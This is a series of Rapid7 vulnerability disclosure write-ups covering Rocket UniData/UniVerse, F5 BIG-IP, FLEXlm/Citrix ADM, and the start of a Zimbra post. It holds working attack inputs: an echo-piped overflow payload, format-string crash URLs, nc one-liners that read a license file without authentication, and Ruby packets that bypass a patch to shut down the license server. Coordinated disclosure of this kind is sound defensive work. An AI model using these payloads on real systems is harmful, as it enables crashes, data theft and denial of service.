[ron@unidata bin]$ echo -ne "\x01\x00\x00\x00\x7c\x01\x00\x00\x05\x00\x00\x00\x41\x42\x43\x44\x00\x00\x00\x00\x41\x42\x43\x44\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x03\x00\x00\x00\x0b\x00\x00\x00\x03\x00\x00\x01\x30\x00\x00\x00\x03\x00\x00\x00\x04\x00\x00\x00\x05\x74\x65\x73\x74\x74\x65\x73\x74\x3a\x3a\x6c\x6f\x63\x61\x6c\x3a\x76\x6b\x6b\x70\x3e\x34\x3e\x35\x36\x37\x30\x58\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xb0\x07\x40\x00\x00\x00\x00\x00" | ./udapi_slave 0 1 2

[...]
Trace/breakpoint trap

Because this overflow is in u2memcpy instead of u2strcpy, NUL bytes are permitted and therefore this is likely to be exploitable.

CVE-2023-28507: Memory exhaustion DoS in LZ4 decompression

We found a way to exhaust large amounts of memory in the LZ4 decompression function in the unirpcd daemon. The memory is immediately freed after the decompression ultimately fails, so this is not a major attack, but we decided it was worth documenting since a sustained attack using this technique may use a lot of server resources.

UniRPC messages can be compressed using LZ4 compression by setting a flag in the header. The decompression function is called LZ4_decompress_safe, and is found in the unirpcd executable. It appears that LZ4_decompress_safe doesn’t distinguish between "invalid data" and "buffer too small". When the function fails, the UniRPC code expands the buffer and tries again — over and over until it requests an enormous amount of memory and the allocation fails, at which point the process ends with an error code.

Here’s the code in question, from unirpcd:

.text:000000000040778B      test    eax, eax        ; eax = number of bytes decompressed (if successful)
.text:000000000040778D      jns     decompression_successful ; Jump if it's >0

.text:0000000000407793      mov     eax, cs:uvrpc_cmpr_buf_len
.text:0000000000407799      mov     rdi, cs:uvrpc_cmpr_buf_ptr ; ptr
.text:00000000004077A0      lea     ebx, [rax+rax]  ; Otherwise, double the buffer size
.text:00000000004077A3      lea     edx, ds:0[rax*8]
.text:00000000004077AA      cmp     eax, 0FFFFh
.text:00000000004077AF      cmovle  ebx, edx
.text:00000000004077B2      movsxd  rsi, ebx        ; size
.text:00000000004077B5      call    _realloc ; Allocate double the memory
.text:00000000004077BA      test    rax, rax
.text:00000000004077BD      jz      decompression_failed ; Fail if we're out of memory
.text:00000000004077C3      mov     edx, dword ptr [rsp+88h+tmpvar] ; compressedSize
.text:00000000004077C7      mov     rdi, [rsp+88h+incoming_body_ptr] ; src
.text:00000000004077CC      mov     ecx, ebx        ; dstCapacity
.text:00000000004077CE      mov     rsi, rax        ; dst
.text:00000000004077D1      mov     cs:uvrpc_cmpr_buf_len, ebx
.text:00000000004077D7      mov     cs:uvrpc_cmpr_buf_ptr, rax
.text:00000000004077DE      call    LZ4_decompress_safe ; Otherwise, try again (forever)
.text:00000000004077E3      jmp     short loc_40778B

If we run unirpcd-oneshot and put a breakpoint on the realloc function, then run that script against the server, we’ll see increasingly large memory allocations:

[ron@unidata bin]$ sudo gdb --args ./unirpcd-oneshot -p12345 -d9

[...]

(gdb) b realloc
Breakpoint 1 at 0x402f80
(gdb) run
Starting program: /home/ron/unidata/unidata/bin/./unirpcd-oneshot -p12345 -d9
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
RPCPID=21615 - 18:46:45 - uvrpc_debugflag=9 (Debugging level)
RPCPID=21615 - 18:46:45 - portno=12345
RPCPID=21615 - 18:46:45 - res->ai_family=10, ai_socktype=1, ai_protocol=6

[...run the proof of concept here...]

RPCPID=21615 - 18:48:08 - Accepted socket is from (IP number) '::ffff:10.0.0.179'
RPCPID=21615 - 18:48:08 - accept: forking

Breakpoint 1, __GI___libc_realloc (oldmem=0x6820f0, bytes=65728) at malloc.c:2964
2964	{
(gdb) cont
Continuing.

Breakpoint 1, __GI___libc_realloc (oldmem=0x6820f0, bytes=131456) at malloc.c:2964
2964	{
(gdb) cont
Continuing.

[...]

Breakpoint 1, __GI___libc_realloc (oldmem=0x7fffd51c8010, bytes=538443776) at malloc.c:2964
2964	{
(gdb) cont
Continuing.

Breakpoint 1, __GI___libc_realloc (oldmem=0x7fffb5047010, bytes=1076887552) at malloc.c:2964
2964	{
(gdb) cont
Continuing.

Breakpoint 1, __GI___libc_realloc (oldmem=0x7fff74d46010, bytes=18446744071568359424) at malloc.c:2964
2964	{
(gdb) cont
Continuing.
RPCPID=21615 - 18:48:40 - in accept read_packet returns 13c84
[Inferior 1 (process 21615) exited with code 01]

Note that the final attempt tries to allocate an enormous amount of memory — 18,446,744,071,568,359,424 bytes, or about 18.4 exabytes, which fortunately fails on my lab machine.

CVE-2023-28508: Post-authentication heap overflow in udsub

We discovered a post-authentication heap overflow vulnerability in the udsub executable (accessed via the RPC service unirep82) that, if successfully exploited, could lead to remote code execution as the authenticated user. We caused the service to crash when it tried to free an invalid pointer after a complex subscription request. Due to the complexity, we didn’t track down the root cause of the issue, and therefore can’t say with certainty whether this is exploitable for code execution or merely a denial of service.

Note that while this requires authentication, the authentication bypass issue detailed as CVE-2023-28503 permits us to access this service as the root user without requiring a password.

We wrote a proof of concept, which demonstrates the issue; here’s what the service looks like when we run that script:

[ron@unidata bin]$ sudo gdb --args ./unirpcd-oneshot -p12345 -d9

[...]

(gdb) run
Starting program: /home/ron/unidata/unidata/bin/./unirpcd-oneshot -p12345 -d9
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
RPCPID=21890 - 18:51:59 - uvrpc_debugflag=9 (Debugging level)
RPCPID=21890 - 18:51:59 - portno=12345
RPCPID=21890 - 18:51:59 - res->ai_family=10, ai_socktype=1, ai_protocol=6

[...run the script here...]

RPCPID=21890 - 18:52:06 - Accepted socket is from (IP number) '::ffff:10.0.0.179'
RPCPID=21890 - 18:52:06 - accept: forking
RPCPID=21890 - 18:52:06 - argcount = 2(1: pre-6/10 client,2: SSL client)
RPCPID=21890 - 18:52:06 - looking for service unirep82
RPCPID=21890 - 18:52:06 - Found service=unirep82
RPCPID=21890 - 18:52:06 - Checking host: *
RPCPID=21890 - 18:52:06 - accept: execing /home/ron/unidata/unidata/bin/udsub
process 21890 is executing new program: /home/ron/unidata/unidata/bin/udsub
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".

*** Error in `/home/ron/unidata/unidata/bin/udsub': free(): invalid pointer: 0x000000000062dd00 ***
======= Backtrace: =========
/lib64/libc.so.6(+0x81329)[0x7ffff4b61329]
/.udlibs82/libunidata.so(U_unpack_conn_package+0x66e)[0x7ffff720280e]
/home/ron/unidata/unidata/bin/udsub[0x40361f]
/home/ron/unidata/unidata/bin/udsub[0x4023ea]
/lib64/libc.so.6(__libc_start_main+0xf5)[0x7ffff4b02555]
/home/ron/unidata/unidata/bin/udsub[0x4033de]

CVE-2023-28509: Weak encryption

We found several different places where encoding or obfuscation happens in UniRPC communications where the intent appears to be encryption (based on the name or context). At best, they’re a simple encoding that hides data on the wire from the most naive eavesdropping (like negating each byte in a password); at worst, multiple layers of this obfuscation can cancel out the obfuscation entirely, or even enable other attacks to work by encoding NUL bytes.

Here, I’ll list a few encryption issues that stood out while working on this research project. We implemented these throughout libneptune.

Encryption bit in UniRPC packet header

The UniRPC packet header is 24 (0x18) bytes long, and is composed of the following fields (we don’t have the official names, so these are guesses based on context):

  • (1 byte) version byte (always 0x6c)
  • (1 byte) other version byte (always 0x01 or 0x02)
  • (1 byte) reserved / ignored
  • (1 byte) reserved / ignored
  • (4 bytes) body length
  • (4 bytes) reserved / ignored
  • (1 byte) encryption_mode
  • (1 byte) is_compressed
  • (1 byte) is_encrypted
  • (1 byte) reserved / ignored
  • (4 bytes) reserved / must be 0
  • (2 bytes) argcount
  • (2 bytes) data length

This is implemented in the build_packet() function in the libneptune.rb library.

When set, the is_encrypted field tells the receiver that the packet has been obfuscated by XOR’ing every byte of the body with a static byte. Depending on the value of encryption_mode, that static byte is either 1 or 2.

This is not useful for encryption, if that was the intent, because all the information needed to decrypt it is in the packet header (and obfuscation in the form of XOR-by-a-constant is generally obvious to observers and is very easy to decode).

Password encoding in udadmin_server

The first message sent to udadmin_server requires three fields:

  • (integer) opcode (always0x0F / 15)
  • (string) username
  • (string) encoded password

The opcode is an integer value that doesn’t change — no value besides 0x0f works. The username is a standard string. The password, however, is passed into a function called rpcEncrypt() after copying it into a buffer. In that function, each byte of the string is negated with the logical not function (ie, binary 0 becomes 1 and 1 becomes 0).

Again, an easily reversible operation (that is also fairly obvious to inspection) does not provide any level of security. This is also directly responsible for CVE-2023-28502 being exploitable, because it allows us to encode NUL bytes as part of an overflow where that would otherwise not be permitted.

Password encoding in U_rep_rpc_server_submain()

The U_rep_rpc_server_submain() function in libunidata.so encodes passwords exactly the same way as udadmin (above), and is used by several different RPC services. It has all the same problems, including enabling strcpy()-based buffer overflow exploits to contain NUL bytes.

Password encoding in udapi_server and udapi_slave

udapi_server and udapi_slave use different (but still trivially decodable) password encodings. Instead of negating each byte like in other services, each byte is XOR’d by the comms_version field, which is a value between 2 and 4 (inclusive).

This is particularly interesting because, in a normal situation, the login message (with the literal account username / password) might have each character in the password XOR’d by 2, which looks like this:

00000000  6c 01 5a 5a 00 00 00 44  41 42 43 44 02 00 00 59  |l.ZZ...DABCD...Y|
00000010  00 00 00 00 00 05 00 00  41 42 43 44 00 00 00 00  |........ABCD....|
00000020  41 42 43 44 00 00 00 00  00 00 00 08 00 00 00 03  |ABCD............|
00000030  00 00 00 08 00 00 00 03  00 00 00 04 00 00 00 03  |................|
00000040  00 00 00 02 00 00 00 05  75 73 65 72 6e 61 6d 65  |........username|
00000050  72 63 71 71 75 6d 70 66  2f 74 6d 70              |rcqqumpf/tmp|

The literal username username is in the packet, but the password is encoded to rcqqumpf. That’s somewhat hidden, but very easy to recognize and break.

But if we then enable packet-level encryption, it can XOR the entire message by 2, then also XOR the password by 2, which effectively undoes the encoding and leaves the password (and only the password) visible:

$ ruby ./test.rb | hexdump -C
00000000  6c 01 5a 5a 00 00 00 44  41 42 43 44 02 00 01 59  |l.ZZ...DABCD...Y|
00000010  00 00 00 00 00 05 00 00  43 40 41 46 02 02 02 02  |........C@AF....|
00000020  43 40 41 46 02 02 02 02  02 02 02 0a 02 02 02 01  |C@AF............|
00000030  02 02 02 0a 02 02 02 01  02 02 02 06 02 02 02 01  |................|
00000040  02 02 02 00 02 02 02 07  77 71 67 70 6c 63 6f 67  |........wqgplcog|
00000050  70 61 73 73 77 6f 72 64  2d 76 6f 72              |password-vor|

This obviously isn’t an enormous issue, since the passwords are fairly easy to decode anyways, but encoding that undoes itself in certain situations is an interesting edge case of this type of obfuscation.

Remediation

Rocket Software has confirmed they have released patches for customers, available on the Rocket Business Connect portal. If you are running Rocket UniData or UniVerse, the Rocket MultiValue team strongly advises you to upgrade to the latest hotfixes. Specifically, Rocket Software has indicated the patched versions are:

  • UniData 8.2.4 build 3003
  • UniVerse 11.3.5 build 1001
  • UniVerse 12.2.1 build 2002 (available April 14, 2023)

Timeline

  • December, 2022 – January, 2023: Issues identified by Rapid7 researcher Ron Bowes
  • January 24, 2023: Privately disclosed findings to Rocket Software’s VDP per Rapid7’s CVD policy
  • March 2, 2023: Rocket Software confirmed that they are working on patches and are on track to meet our proposed disclosure date
  • March 29, 2023: Coordinated release of Rocket Software and Rapid7 disclosures (this document)

CVE-2023-22374: F5 BIG-IP Format String Vulnerability

Post Syndicated from Ron Bowes original https://blog.rapid7.com/2023/02/01/cve-2023-22374-f5-big-ip-format-string-vulnerability/

CVE-2023-22374: F5 BIG-IP Format String Vulnerability

While following up our previous work on F5’s BIG-IP devices, Rapid7 found an additional vulnerability in the appliance-mode REST interface; the vulnerability was assigned CVE-2023-22374. We reported it to F5 on December 6, 2022, and are now disclosing it in accordance with our vulnerability disclosure policy.
The specific issue we discovered is an authenticated format string vulnerability (CWE-134) in the SOAP interface (iControlPortal.cgi), which runs as root and requires an administrative login to access. By inserting format string specifiers (such as %s or %n) into certain GET parameters, an attacker can cause the service to read and write memory addresses that are referenced from the stack. In addition to being an authenticated administrative endpoint, the disclosed memory is written to a log (making it a blind attack). It is difficult to influence the specific addresses read and written, which makes this vulnerability very difficult to exploit (beyond crashing the service) in practice. This has a CVSS score of 7.5 for standard mode deployments and 8.5 in appliance mode.

Products

This issue affects BIG-IP only (not BIG-IQ), and as of writing are not yet patched. The currently supported versions known to be vulnerable are:

  • F5 BIG-IP 17.0.0
  • F5 BIG-IP 16.1.2.2 – 16.1.3
  • F5 BIG-IP 15.1.5.1 – 15.1.8
  • F5 BIG-IP 14.1.4.6 – 14.1.5
  • F5 BIG-IP 13.1.5

Discoverer

This issue was discovered by Ron Bowes of Rapid7. It is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Exploitation

The issue we are disclosing is a blind format string vulnerability, where an authenticated attacker can insert arbitrary format string characters (such as %d, %x, %s, and %n) into a query parameter, which are passed into the function syslog(), which processes format-string specifiers. This does not require the attacker to actually read the syslog entries—it’s the act of parsing the format string that is problematic. That also means that the attacker can’t read the memory, unless they have an additional way to read the syslog. By using the %s specifier, the service can be trivially crashed with a segmentation fault (because it tries to dereference pointers on the stack as strings). Using %n, arbitrary data can be written to any pointer found on the stack—depending on what’s present on the stack, this may be exploitable for remote code execution.

The issue occurs in WSDL= parameter in the following authenticated administrative URL:

The value of the WSDL= parameter is written to the syslog:

Nov 29 08:32:25 bigip.example.org soap[4335]: query: WSDL=ASM.LoggingProfile

If an attacker adds format-string characters to that argument, they will be processed and values from the stack can be written to the syslog (an attacker wouldn’t be able to see this, so it’s actually a blind format-string vulnerability). For example, this URL:

  • https://bigip.example.com/iControl/iControlPortal.cgi?WSDL=ASM.LoggingProfile:%08x:%08x:%08x:%08x:%08x:%08x:%08x:%08x

Might write the following, after expanding the %08x format specifiers to values from the stack (the colons are just for readability):

Nov 29 08:41:47 bigip.example.org soap[4335]: query: WSDL=ASM.LoggingProfile:0000004c:0000004c:08cb31bc:08cba210:08cc4954:01000000:ffeaa378:f5aa8000

Once again, we should note that an attacker cannot see this log, and therefore cannot use this to disclose memory. We can, however, use a %s format specifier to tell the service to try and render a string from the stack. If the value on the stack is not a valid memory address (such as the first value, which is 0x0000004c), the process will crash with a segmentation fault. We can also use the %n format specifier to write a (mostly) arbitrary value to a memory address found on the stack.

Here is an example of using the %s specifier in a request:

  • https://bigip.example.com/iControl/iControlPortal.cgi?WSDL=ASM.LoggingProfile:%s

If we send that to the server (as an authenticated request), the service will crash. We can attach a debugger to the server process to validate:

[root@bigip:Active:Standalone] config # /tmp/gdb-7.10.1-x64 -q --pid=4335[...](gdb) contContinuing.
Program received signal SIGSEGV, Segmentation fault.0xf55e3085 in vfprintf () from /lib/libc.so.6(gdb) bt#0  0xf55e3085 in vfprintf () from /lib/libc.so.6#1  0xf568f21f in __vsyslog_chk () from /lib/libc.so.6#2  0xf568f317 in syslog () from /lib/libc.so.6#3  0x0810cc1f in PortalDispatch::HandleWSDLRequest(char*) ()#4  0x08109f08 in iControlPortal::run(int) ()#5  0x0810947f in main ()

The actual vulnerable code in PortalDispatch::HandleWSDLRequest in iControlPortal.cgi is (in a disassembler):

.text:0810CBF2 loc_810CBF2:                            ; CODE XREF: PortalDispatch::HandleWSDLRequest(char *)+DD↑j.text:0810CBF2                 pop     ecx.text:0810CBF3                 pop     edi.text:0810CBF4                 push    esi             ; Query string.text:0810CBF5                 push    eax.text:0810CBF6                 call    __ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc ; std::operator<<<std::char_traits<char>>(std::basic_ostream<char,std::char_traits<char>> &,char const*).text:0810CBFB                 pop     eax.text:0810CBFC                 pop     edx.text:0810CBFD                 lea     eax, [ebp+var_8C8].text:0810CC03                 lea     edi, [ebp+format].text:0810CC09                 push    eax.text:0810CC0A                 push    edi.text:0810CC0B                 call    __ZNKSt15basic_stringbufIcSt11char_traitsIcESaIcEE3strEv ; std::basic_stringbuf<char,std::char_traits<char>,std::allocator<char>>::str(void)
.text:0810CC0B ;   } // starts at 810CBE6.text:0810CC10                 pop     eax.text:0810CC11                 push    dword ptr [ebp+format].text:0810CC17                 push    6.text:0810CC19 ;   try {.text:0810CC19                 call    _syslog ; <--- Vulnerable call to syslog().text:0810CC19 ;   } // starts at 810CC19

A String object (that contains query:) has the query string appended to it, then is passed directly into _syslog(), which processes format string characters.

Impact

The most likely impact of a successful attack is to crash the server process. A skilled attacker could potentially develop a remote code execution exploit, which would run code on the F5 BIG-IP device as the root user.

Remediation

There is currently no fix for this issue in released BIG-IP software versions. F5 has indicated that an engineering hotfix will be made available. It should be stressed that this issue is only exploitable as an authenticated user of the vulnerable device. So, end users should restrict access to the management port to only trusted individuals (and the linked KB provides a procedure to bind webd to localhost) which is usually good advice anyway.

Rapid7 customers

An authenticated vulnerability check for CVE-2023-22374 will be available in today’s (Feb 1) content-only release. Because F5’s hotfix policy is that hotfixes come with "no warranty of guarantee of usability," please note that hotfixes are not taken into consideration for vulnerability checks within InsightVM.

Timeline

  • December, 2022 – Discovered the vulnerability
  • Tue, Dec 6, 2022 – Reported to F5 SIRT
  • Wed, Dec 7, 2022 – F5 forwarded to the F5 Product Engineering team for analysis
  • Thu, Dec 22, 2022 – F5 confirmed the issue and has started working on a fix
  • Wed, Jan 4, 2023 – Issue reported to CERT/CC (VRF#23-01-TVJZN)
  • Wed, Jan 18, 2023 – F5 provided a draft security advisory, CVSS scoring, and CVE-2023-22374 reservation
  • Wed, Feb 1, 2023 – This public disclosure and F5’s advisory published

FLEXlm and Citrix ADM Denial of Service Vulnerability

Post Syndicated from Ron Bowes original https://blog.rapid7.com/2022/10/18/flexlm-and-citrix-adm-denial-of-service-vulnerability/

On June 27, 2022, Citrix released an advisory for CVE-2022-27511 and CVE-2022-27512, which affect Citrix ADM (Application Delivery Management).

Rapid7 investigated these issues to better understand their impact, and found that the patch is not sufficient to prevent exploitation. We also determined that the worst outcome of this vulnerability is a denial of service – the licensing server can be told to shut down (even with the patch). We were not able to find a way to reset the admin password, as the original bulletin indicated.

In the course of investigating CVE-2022-27511 and CVE-2022-27512, we determined that the root cause of the issues in Citrix ADM was a vulnerable implementation of popular licensing software FLEXlm, also known as FlexNet Publisher. This disclosure addresses both the core issue in FLEXlm and Citrix ADM’s implementation of it (which resulted in both the original CVEs and later the patch bypass our research team discovered). Rapid7 coordinated disclosure with both companies and CERT/CC.

As of this publication, these issues remain unpatched, so IT defenders are urged to reach out to Revenera and Citrix for direct guidence on mitigating these denial of service vulnerabilities and CVE assignment.

Products

FLEXlm is a license management application that is part of FlexNet licensing, provided by Revenera’s Flexnet Software, and is used for license provisioning on many popular network applications, including Citrix ADM. You can read more about FlexNet at the vendor’s website.

Citrix ADM is an application provisioning solution from Citrix, which uses FLEXlm for license management. You can read more about Citrix ADM at the vendor’s website.

Discoverer

This issue was discovered by Ron Bowes of Rapid7 while researching CVE-2022-27511 in Citrix ADM. It is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Exploitation

Citrix ADM runs on FreeBSD, and remote administrative logins are possible. Using that, we compared two different versions of the Citrix ADM server – before and after the patch.

Eventually, we went through each network service, one by one, to check what each one did and whether the patch may have fixed something. When we got to TCP port 27000, we found that lmgrd was running. Looking up lmgrd, we determined that it’s a licensing server made by FLEXlm called FlexNet Licensing (among other names), made by Revenera. Since the bulletin calls out licensing disruption, this seemed like a sensible place to look; from the bulletin:

Temporary disruption of the ADM license service. The impact of this includes preventing new licenses from being issued or renewed by Citrix ADM.

If we look at how lmgrd is executed before and after the patch, we find that the command line arguments changed; before:

bash-3.2# ps aux | grep lmgrd
root         3506   0.0  0.0   10176   6408  -  S    19:22      0:09.67 /netscaler/lmgrd -l /var/log/license.log -c /mpsconfig/license

And after:

bash-3.2# ps aux | grep lmgrd
root         5493   0.0  0.0   10176   5572  -  S    13:15     0:02.45 /netscaler/lmgrd -2 -p -local -l /var/log/license.log -c /mpsconfig/license

If we look at some online documentation, we see that the -2 -p flags are security-related:

-2 -p    Restricts usage of lmdown, lmreread, and lmremove to a FLEXlm administrator who is by default root. [...]

Patch Analysis

We tested a Linux copy of FlexNet 11.18.3.1, which allowed us to execute and debug Flex locally. Helpfully, the various command line utilities that FlexNet uses to perform actions (accessible via lmutil) use a TCP connection to localhost, allowing us to analyze the traffic. For example, the following command:

$ ./lmutil lmreread -c ./license/citrix_startup.lic
lmutil - Copyright (c) 1989-2021 Flexera. All Rights Reserved.
lmreread successful

Generates a lot of traffic going to localhost:27000, including:

Sent:

00000000  2f 4c 0f b0 00 40 01 02  63 05 2c 85 00 00 00 00   /L...@.. c.,.....
00000010  00 00 00 02 01 04 0b 12  00 54 00 78 00 02 0b af   ........ .T.x....
00000020  72 6f 6e 00 66 65 64 6f  72 61 00 2f 64 65 76 2f   ron.fedo ra./dev/
00000030  70 74 73 2f 32 00 00 78  36 34 5f 6c 73 62 00 01   pts/2..x 64_lsb..

Received:

    00000000  2f 8f 09 c6 00 26 01 0e  63 05 2c 85 41 00 00 00   /....&.. c.,.A...
    00000010  00 00 00 02 0b 12 01 04  00 66 65 64 6f 72 61 00   ........ .fedora.
    00000020  6c 6d 67 72 64 00                                  lmgrd.

Sent:

00000040  2f 23 34 78 00 24 01 07  63 05 2c 86 00 00 00 00   /#4x.$.. c.,.....
00000050  00 00 00 02 72 6f 6e 00  66 65 64 6f 72 61 00 00   ....ron. fedora..
00000060  92 00 00 0a                                        ....

Received:

    00000026  2f 54 18 b9 00 a8 00 4f  63 05 2c 86 41 00 00 00   /T.....O c.,.A...
    00000036  00 00 00 02 4f 4f 00 00  00 00 00 00 00 00 00 00   ....OO.. ........
    00000046  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ........ ........
    00000056  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ........ ........
    00000066  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ........ ........
    00000076  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ........ ........
    00000086  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ........ ........
    00000096  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ........ ........
    000000A6  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ........ ........
    000000B6  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ........ ........
    000000C6  00 00 00 00 00 00 00 00                            ........ 

If we start the service with the -2 -p flag, we can no longer run lmreread:

$ ./lmutil lmreread -c ./license/citrix_startup.lic
lmutil - Copyright (c) 1989-2021 Flexera. All Rights Reserved.
lmreread failed: You are not a license administrator. (-63,294)

That appears to be working as intended! Or does it?

Protocol Analysis

We spent a substantial amount of time reverse engineering FlexNet’s protocol. FlexNet uses a binary protocol with a lot of support and code paths for different (and deprecated) versions of the protocol. But we built a tool (that you can get on GitHub) that implements the interesting parts of the protocol.

It turns out, even ignoring the vulnerability, you can do a whole bunch of stuff against the FlexNet service, and none of it even requires authentication! For example, you can grab the path to the license file:

$ echo -ne "\x2f\xa9\x21\x3a\x00\x3f\x01\x08\x41\x41\x41\x41\x42\x42\x42\x42\x43\x00\x44\x44\x01\x04\x72\x6f\x6f\x74\x00\x43\x69\x74\x72\x69\x78\x41\x44\x4d\x00\x6c\x6d\x67\x72\x64\x00\x2f\x64\x65\x76\x2f\x70\x74\x73\x2f\x31\x00\x67\x65\x74\x70\x61\x74\x68\x73\x00" | nc 10.0.0.9 27000
LW37/mpsconfig/license/citrix_startup.lic

You can even grab the whole license file:

$ echo -ne "\x2f\x8a\x17\x2d\x00\x37\x01\x08\x41\x41\x41\x41\x42\x42\x42\x42\x43\x00\x44\x44\x01\x04\x72\x6f\x6f\x74\x00\x43\x69\x74\x72\x69\x78\x41\x44\x4d\x00\x6c\x6d\x67\x72\x64\x
00\x2f\x64\x65\x76\x2f\x70\x74\x73\x2f\x31\x00\x00" | nc -v 10.0.0.9 27000
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Connected to 10.0.0.9:27000.
L6194# DO NOT REMOVE THIS COMMENT LINE
# "のコメント行は削除しLK6060NEN
# NE SUPPRIMEZ PAS CETTE LIGNE DE COMMENTAIRE
# NO ELIMINAR ESTA LÍNL5926IX PORT=7279

And you can also remotely re-load the license file and shut down the service if the -p -2 flag is not set when the server starts. That’s the core of the original CVEs – that those flags aren’t used and therefore a remote user can take administrative actions.

Patch Bypass

The problem is, all of the security features (including declaring your username and privilege level) are client-side choices, which means that without knowing any secret information, the client can self-declare that they are privileged.

This is what the "authentication" message looks like in flexnet-tools.rb:

  send_packet(0x2f, 0x0102,
    "\x01\x04" + # If the `\x04` value here is non-zero, we are permitted to log in
    "\x0b\x10" + # Read as a pair of uint16s
    "\x00\x54" + # Read as single uint16
    "\x00\x78" + # Read as single uint16
    "\x00\x00\x16\x97" + # Read as uint32
    "root\x00" +
    "CitrixADM\x00" +
    "/dev/pts/1\x00" +
    "\x00" + # If I add a string here, the response changes
    "x86_f8\x00" +
    "\x01"
  )

In that example, root is the username, and CitrixADM is the host. Those can be set to whatever the client chooses, and permissions and logs will reflect that. The first field, \x01\x04, is also part of the authentication process, where the \x04 value specifically enables remote authorization – while we found the part of the binary that reads that value, we are not clear what the actual purpose is.

By declaring oneself as root@CitrixADM (using that message), it bypasses the need to actually authenticate. The lmdown field, for shutting down the licensing server, has an addition required field:

when 'lmdown'
  out = send_packet(0x2f, 0x010a,
    "\x00" + # Forced?
    "root\x00" + # This is used in a log message
    "CitrixADM\x00" +
    "\x00" +
    "\x01\x00\x00\x7f" +
    "\x00" +
    (LOGIN ? "islocalSys" : "") + # Only attach islocalSys if we're logging in
    "\x00"
  )

The islocalSys value self-identifies the client as privileged, and therefore it is allowed to bypass the -2 -p flag and perform restricted actions. This bypasses the patch.

Impact

Remotely shutting down the FLEXlm licensing server can cause a denial of service condition in the software for which that licensing server is responsible. In this particular case, exploiting this vulnerability can cause a disruption in provisioning licenses through Citrix ADM.

Remediation

In the absence of a vendor-supplied patch, users of software that relies on FLEXlm should not expose port 27000/TCP to untrusted networks. Note that in many cases, this would remove the functionality of the license server entirely.

Disclosure Timeline

This issue was disclosed in accordance with Rapid7’s [vulnerability disclosure] policy(https://www.rapid7.com/security/disclosure/#zeroday), but with a slightly faster initial release to CERT/CC, due to the multivendor nature of the issue.

  • June, 2022: Issues discovered and documented by Rapid7 researcher Ron Bowes
  • Tue, Jul 5, 2022: Disclosed to Citrix via their PSIRT team
    Thu, Jul 7, 2022: Disclosed to Flexera via their PSIRT team
  • Wed, Jul 12, 2022: Disclosed to CERT/CC (VU#300762)
  • July – October, 2022: Disclosure discussions between Rapid7, Citrix, Flexera, and CERT/CC through VINCE (Case 603).
  • Tue, Oct 18, 2022: This public disclosure

Exploitation of Unpatched Zero-Day Remote Code Execution Vulnerability in Zimbra Collaboration Suite (CVE-2022-41352)

Post Syndicated from Ron Bowes original https://blog.rapid7.com/2022/10/06/exploitation-of-unpatched-zero-day-remote-code-execution-vulnerability-in-zimbra-collaboration-suite-cve-2022-41352/

Exploitation of Unpatched Zero-Day Remote Code Execution Vulnerability in Zimbra Collaboration Suite (CVE-2022-41352)

CVE-2022-41352 is an unpatched remote code execution vulnerability in Zimbra Collaboration Suite discovered in the wild due to active exploitation. The vulnerability is due to the method (cpio) in which Zimbra’s antivirus engine (Amavis) scans inbound emails. Zimbra has provided a workaround, which is to install the pax utility and restart the Zimbra services. Note that pax is installed by default on Ubuntu, so Ubuntu-based Zimbra installations are not vulnerable by default.

Note: This vulnerability, CVE-2022-41352 is effectively identical to CVE-2022-30333 but leverages a different file format (.cpio and .tar as opposed to .rar). It is also a byproduct of a much older (unfixed) vulnerability, CVE-2015-1197. While the original CVE-2015-1197 affects most major Linux distros, our research team found that it is not exploitable unless a secondary application – such as Zimbra, in this case – uses cpio to extract untrusted archives; therefore, this blog is only focusing on Zimbra CVE-2022-41352.

Rapid7 has published technical documentation, including proof-of-concept (PoC) and indicator-of-compromise (IoC) information, regarding CVE-2022-41352 on AttackerKB.

Background

